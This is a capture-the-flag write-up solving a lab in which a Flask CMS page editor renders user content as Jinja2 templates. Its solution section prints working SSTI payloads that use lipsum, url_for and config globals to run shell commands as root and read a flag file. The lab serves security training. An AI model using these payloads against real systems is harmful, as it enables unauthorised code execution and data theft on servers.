Lab 135 — PageCraft — SSTI in CMS Page Editor
Lab 135 — PageCraft — SSTI in CMS Page Editor
Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-04-27 | Status: Solved Techniques: differential_content_rendering_analysis, jinja2_rce_via_globals, ssti_exploitation
Summary
Task: Flask CMS with page editor supporting template variables. Solution: Discovered SSTI in page content via differential analysis (pages render templates, posts don't), exploited via lipsum.globals to achieve RCE and read /root/flag.txt.
Lab 135 — PageCraft — SSTI in CMS Page Editor — HackAdvisor
Description
PageCraft is a lightweight content management system built by Weaverite Inc. for publishing blog posts and static pages. The platform features a rich page editor, media library, tag management, and a public-facing blog.
You have been given editor-level credentials to assess the security of the content publishing workflow. Your goal is to investigate how user-supplied content is processed and rendered by the application, and exploit any weaknesses to read sensitive server-side data.
Pay close attention to how different types of content (blog posts vs. pages) are handled by the system. Not all content pipelines are equal.
Credentials: user@test.com / password123 Hint: Explore the different content types in the CMS. How are blog posts rendered compared to pages? Look at any existing pages for clues about dynamic content features.
A Flask-based CMS with separate handling for blog posts and static pages. The goal is to find and exploit differences in how content is rendered to achieve code execution.
Analysis
Initial Reconnaissance
Logged in with provided credentials and explored the admin panel:
- Dashboard showing 8 pages and 10 blog posts
- Pages section at
/admin/pages - Posts section at
/admin/posts - Media library and tag management
Vulnerability Discovery
Examined existing pages in edit mode (e.g., /admin/pages/1/edit for "About Us" page). Found a critical hint in the form help text:
"Supports HTML. Pages also support dynamic template variables such as
{{ site_name }}and{{ current_year }}for automatically updated content."
This indicates that Pages are rendered through a Jinja2 template engine, while blog posts are likely escaped/safe.
SSTI Confirmation
Created a test page with content {{7*7}} and viewed the published page at /page/ssti-test. The page rendered 49 instead of the literal text — confirming Server-Side Template Injection.
Solution
Step 1: Confirm SSTI
Content: {{7*7}}
Result: 49
Step 2: Achieve RCE via Jinja2 Globals
Used the lipsum object which is available in Jinja2 and has access to Python globals:
jinja2 read-only • copy allowed{{lipsum.__globals__["os"].popen("id").read()}}
Result: uid=0(root) gid=0(root) groups=0(root)
Step 3: Enumerate File System
jinja2 read-only • copy allowed{{lipsum.__globals__["os"].popen("ls -la /").read()}}
Found /app directory with application files.
Step 4: Locate Flag
jinja2 read-only • copy allowed{{lipsum.__globals__["os"].popen("find / -name flag* 2>/dev/null").read()}}
Found: /root/flag.txt
Step 5: Read Flag
jinja2 read-only • copy allowed{{lipsum.__globals__["os"].popen("cat /root/flag.txt").read()}}
Alternative Payloads
jinja2 read-only • copy allowed# Via url_for {{url_for.__globals__['__builtins__']['__import__']('os').popen('id').read()}} # Via config {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
Technical Details
- Framework: Flask with Jinja2 templating
- Vulnerability: Server-Side Template Injection (SSTI) in page content rendering
- Root Cause: Pages use
render_template_string()or similar to process template variables, while blog posts are safely escaped - Honeypot: HTML source contained fake flag
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}to mislead automated scanners